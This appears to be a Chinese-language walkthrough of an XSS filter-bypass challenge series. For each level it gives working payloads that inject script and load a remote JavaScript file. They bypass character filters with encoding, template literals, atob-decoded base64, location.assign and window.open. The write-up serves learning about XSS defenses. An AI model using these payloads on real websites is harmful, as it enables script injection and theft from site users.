1
对于第一题,过滤了()=,
让我们加载js,首先想到使用<svg>
标签,但是我直接把编码过的数据放进去,然后让它执行。
HTML实体编码:https://www.qqxiuzi.cn/bianma/zifushiti.php
但是我把编码之后,发现不能成功,原来还需要进行相应的url编码。
1 | data="><svg><script>alert(1)</script> |
对script编码进行编码是不行的。
发现可以执行js代码。
但是在<svg>
标签只能解析 <script>
内的 HTML实体编码
,对于形如 <script src='http://xxx.com' />
是不能解析的。
所以我们需要使用下面的方式
1 | document.body.appendChild(document.createElement('script')).src='http://xcao.vip/xss/alert.js' |
用createElement()
函数创建一个标签,然后加上src属性,最后用appendChild()
函数加到body里面。让他执行。
1 | data="><svg><script>document.body.appendChild(document.createElement('script')).src='http://xcao.vip/xss/alert.js'</script></svg> |
2
第二题过滤了=().
看了下,我们第一题没用到.
啊,直接把第一题的payload打进去就成功了。
3
过滤了().&#\
,但是把=
放了出来。
1 | ="><svg><script src="http://xcao.vip/xss/alert.js"></script> |
新增加的这个.
导致我们无法加载url,所以我们还是要编码,转换为16进制。
1 | %22%3E%3Cscript%20src=%27http://xcao%252evip/xss/alert%252ejs%27%3E%3C/script%3E |
4
过滤了=().&#\
Location.assign()
方法会触发窗口加载并显示指定的URL的内容。因为里面的内容是URL,所以它支持了url的编码,这样就可以绕过一系列的检测。
1 | "><script>location['assign']`javascript:eval(eval(location.hash.slice(1)))`</script>#document.body.appendChild(document.createElement('script')).src='http://xcao.vip/xss/alert.js' |
5
过滤了().&#\%
这里说参考第三题,同样这一题,对比第三题仅仅多了个.
但是我们加载url就需要.
,但是我们可以使用ip地址转换,将其转为10进制。
至于我们说的.
可以让文档名字不带后缀。在做一个302的跳转就可以了。
1 | %22%3E%3Cscript%20src=http://2130706433/xss |
6
过滤了 =().&#\%
使用${}
作为变量包裹,让其可以执行${}外面需要由反引号包裹。(需要ES6)
1 | var a=1; |
下面是我运行的文件控制台内容。
然后通过document.write
把代码写到页面上,然后执行。
1 | "><script>document['write']`${location['hash']['slice']`1`}`</script>#/src='1'onerror=document.body.appendChild(document.createElement('script')).src='http://xcao.vip/xss/alert.js'// |
7
过滤了=().&#\%<>
,输出点在js里
偷学了点技巧 ,继续更
1 | false => ![] |
我在测试的时候,发现如果是直接加载alert(1),可以不需要最后的(),但是如果使用了jsfuck就必须用了,不是很懂……
那么此时我们可以使用eval直接执行我们的语句了
1 | 1;[]["filter"]["constructor"]`a${location['hash']['slice']`1`}```#with(document)body.appendChild(createElement('script')).src='http://xcao.vip/xss/alert.js' |
中间出现了一个符号,a,其实这个字符可以是任意字符。
但是一定要有,没有就会报错,无法运行。
8
这一关,过滤了=().&#\%<>'"[],
window.atob()
atob() 方法用于解码使用 base-64 编码的字符串。
base-64 编码使用方法是 btoa()。
1 | window.atob(encodedStr) |
所以payload,因为过滤了. 和() 所以还是得用上面的一些技巧去绕过。
1 | Function`b${atob`ZG9jdW1lbnQud3JpdGUoIjxzY3JpcHQgc3JjPScveHNzL2FsZXJ0LmpzJz48L3NjcmlwdD4iKQ`}``` |
其实刚刚看到这里我是很懵逼的,为什么最后会有三个单引号,在第七关,我有语句,知道那是最后的(),因为()过滤,所以使用反引号替换了。但是这里是什么意思呢。其实这个是自调用函数。
8-1
过滤了=().&#\%<>'"{}
但是放开了[]
可以看到我们的输出是直接放入了a里面,此时放开了[],我们就可以继续利用我们的各种函数了。
所以我们利用上面的atob函数把我们需要的代码放到a里面,然后解码利用了,然后使用第四关我们利用过的Location.assign()函数运行。
1 | atob`ZG9jdW1lbnQud3JpdGUoIjxzY3JpcHQgc3JjPScveHNzL2FsZXJ0LmpzJz48L3NjcmlwdD4iKQ`;location[`assign`]`javascript:a` |
8-2
过滤了=().&#\%<>'"[]Function
这一关把 []
过滤了,就没法引入函数的方式来调用了
所以说这里需要引入一个新的函数来代替 Fuction
window.open
open() 方法用于打开一个新的浏览器窗口或查找一个已命名的窗口。
1 | window.open(URL,newwindow,specs,replace) |
如果我们能控制第二个参数就可以用
1 | open("javascript:name","<img src=x onerror=alert(1)>") |
paylode:
1 | open`javascript:name//${atob`PGltZyBzcmM9eCBvbmVycm9yPXdpdGgob3BlbmVyLmRvY3VtZW50KWJvZHkuYXBwZW5kQ2hpbGQoY3JlYXRlRWxlbWVudCgnc2NyaXB0JykpLnNyYz0naHR0cDovL3hjYW8udmlwL3hzcy9hbGVydC5qcyc%2b`}` |
我在看作者的wp的时候,他有一点笔误,让我迷了好久。。。
最后的相当于调用的是
1 | open('javascript:name//',"<imgsrc=xonerror=with(opener.document)body.appendChild(createElement('script')).src='http://xcao.vip/xss/alert.js'>") |
多了个,
这个其实也可以自己测试的。
每一个xx之后就是一个新的参数。